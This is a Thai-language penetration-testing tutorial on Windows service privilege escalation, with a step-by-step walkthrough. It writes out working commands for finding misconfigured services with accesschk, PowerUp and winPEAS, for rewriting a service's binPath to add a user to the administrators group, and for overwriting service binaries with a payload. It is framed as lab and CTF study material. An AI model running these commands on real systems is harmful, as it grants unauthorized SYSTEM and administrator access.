Windows Service Abuse
Windows Service Abuse ยกระดับสิทธิ์ผ่าน service ที่ตั้งค่าผิด — service ที่รันเป็น SYSTEM แต่ permission อ่อน (แก้ binPath ได้), binary ที่ service เรียกเขียนทับได้, หรือ registry ของ service แก้ได้ บทนี้ลงลึกการหา, การตรวจ permission, และ abuse แต่ละแบบ (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. หลักการ
Windows service ส่วนใหญ่รันเป็น SYSTEM (สิทธิ์สูงสุด) ถ้า service ตั้งค่าผิดให้ user ธรรมดาแก้ไขได้ เราเปลี่ยนสิ่งที่ service รันให้เป็น payload ของเรา → รันเป็น SYSTEM ช่องทาง: (1) weak service permission (แก้ binPath ได้), (2) weak binary permission (เขียนทับ exe ที่ service เรียก), (3) weak registry permission, (4) unquoted service path (หัวข้อแยก)
2. หา service + ตรวจ permission
# list service ทั้งหมด + binPath
sc query state= all
wmic service get name,pathname,startmode,startname
# ตรวจ permission ของ service (accesschk - Sysinternals)
accesschk.exe -uwcqv "Everyone" * # service ที่ Everyone เขียนได้
accesschk.exe -uwcqv "Authenticated Users" *
accesschk.exe -uwcqv user servicename # เฉพาะ service
# มองหา: SERVICE_CHANGE_CONFIG / SERVICE_ALL_ACCESS = แก้ binPath ได้
# PowerUp (อัตโนมัติ)
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks # หา service misconfig ทั้งหมด3. Abuse: weak service permission (binPath)
# ถ้าแก้ service config ได้ → เปลี่ยน binPath เป็น payload
# เพิ่ม user เข้า admin (หรือ reverse shell)
sc config servicename binPath= "cmd /c net localgroup administrators user /add"
# (ช่องว่างหลัง binPath= สำคัญ!)
# restart service เพื่อ trigger (รันเป็น SYSTEM)
sc stop servicename
sc start servicename
# → คำสั่งรันเป็น SYSTEM → user เป็น admin
# ตรวจ
net localgroup administrators
# PowerUp ทำให้อัตโนมัติ:
Invoke-ServiceAbuse -Name servicename -UserName "domain\user"4. Abuse: weak binary / registry permission
- weak binary permission: ถ้า exe ที่ service เรียก (ดู binPath) เราเขียนทับได้ → แทนที่ด้วย payload → restart service → SYSTEM
- weak service registry: ถ้า
HKLM\SYSTEM\CurrentControlSet\Services\เราแก้ได้ → เปลี่ยนImagePathเป็น payload - DLL hijacking ของ service: ถ้า service โหลด DLL ที่หาไม่เจอ/เขียนได้ → วาง DLL (ดู DLL Hijacking)
- unquoted service path: ดูหัวข้อ Unquoted Service Path
# ดู binPath ของ service แล้วตรวจว่าเขียน exe นั้นได้ไหม
accesschk.exe -quvw "C:\Path\To\service.exe"
# ถ้า Everyone/user มี Write → เขียนทับด้วย payload
# backup ของเดิม → วาง payload → restart
copy service.exe service.exe.bak
copy payload.exe service.exe
sc stop svc & sc start svc # หรือรอ reboot5. Quick Reference
- service รันเป็น SYSTEM — config ผิด = privesc
- หา: sc query state=all; accesschk -uwcqv user *; PowerUp Invoke-AllChecks
- weak service perm: sc config svc binPath= "payload" → restart
- weak binary: เขียนทับ exe ที่ service เรียก → restart
- weak registry: แก้ ImagePath ใน Services\
- PowerUp Invoke-ServiceAbuse อัตโนมัติ
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งเข้าเครื่อง Windows มา มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อไล่หา service ที่ตั้งค่าผิด
- 1รัน winPEAS ก่อนเป็นด่านแรก: .\wp.exe quiet cmd fast ดูหมวด service ที่ highlight สีแดง
- 2ถ้าไม่ชัด list service เองพร้อม path: wmic service get name,pathname,startmode,startname
- 3ดาวน์โหลด/ใช้ accesschk (Sysinternals) หา service ที่ user ปัจจุบันแก้ config ได้: accesschk.exe -uwcqv "Authenticated Users" *
- 4หรือใช้ PowerUp: Import-Module .\PowerUp.ps1 แล้ว Invoke-AllChecks ดูส่วน Service
- 5เจอ service ที่แก้ binPath ได้ → เปลี่ยนเป็นคำสั่งเพิ่ม admin: sc config
binPath= "cmd /c net localgroup administrators /add" - 6restart service เพื่อ trigger: sc stop
แล้ว sc start (ต้องมีสิทธิ์ start/stop ไม่งั้นรอ reboot) - 7เช็คผล: net localgroup administrators
- 8ถ้า binPath แก้ไม่ได้แต่ binary ที่ service เรียกเขียนทับได้ → สำรอง exe เดิม เขียนทับด้วย payload แล้ว restart
- 9ถ้าไม่มีอะไรแก้ได้เลย ให้เช็ค unquoted path ของ service เดียวกัน หรือ DLL hijacking
- 10ถ้าตันหมดในแนว services ให้ไปเช็ค registry/scheduled tasks/token ต่อ
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| enum service อัตโนมัติ | winPEAS / PowerUp.ps1 | - | winpeas (GitHub release PEASS-ng) |
| list service+path | sc / wmic / PowerShell | - | - |
| ตรวจ permission service | accesschk.exe | - | - |
| แก้ binPath / restart | sc (มากับ Windows) | - | - |
| ตรวจ+แทน binary | icacls / copy | - | - |
| ส่งไฟล์เข้าเป้าหมาย | python3 -m http.server | - | - |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้